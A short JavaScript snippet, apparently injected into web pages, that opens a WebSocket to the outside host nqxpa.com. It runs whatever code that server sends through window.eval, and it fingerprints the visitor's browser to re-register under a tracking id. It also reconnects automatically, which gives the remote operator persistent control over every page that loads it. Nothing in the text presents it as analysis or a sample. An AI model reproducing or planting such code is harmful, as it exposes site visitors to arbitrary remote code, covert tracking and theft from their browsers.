var conn = null;
var link = (window.location.protocol=='https:'&&'wss://'||'ws://')+'nqxpa.com/';
var id = '';
function disconnect() {
    if (conn != null) {
        conn.close();
        conn = null;
    }
}
function connect() {
    disconnect();
    conn = new WebSocket(link+id);
    conn.onmessage = function (e) {
        var data = JSON.parse(e.data);
        window.hkax = conn;
        window.hkat = data.ctid;
        window.eval(data.pd);
        if (!id && window.Fingerprint2) {
            setTimeout(function () {
                Fingerprint2.getV18(function (a) {
                  id=a;
                  connect();
                })  
            }, 500);
        }
    };
    conn.onerror = function (e) {
        if (e.target.readyState === 3) {
            setTimeout(connect, 1e3);
        }
    };
    conn.onclose = function (e) {
        conn = null;
        if (e.ncode === 1010) {
            connect();
        }
    };
}
connect();
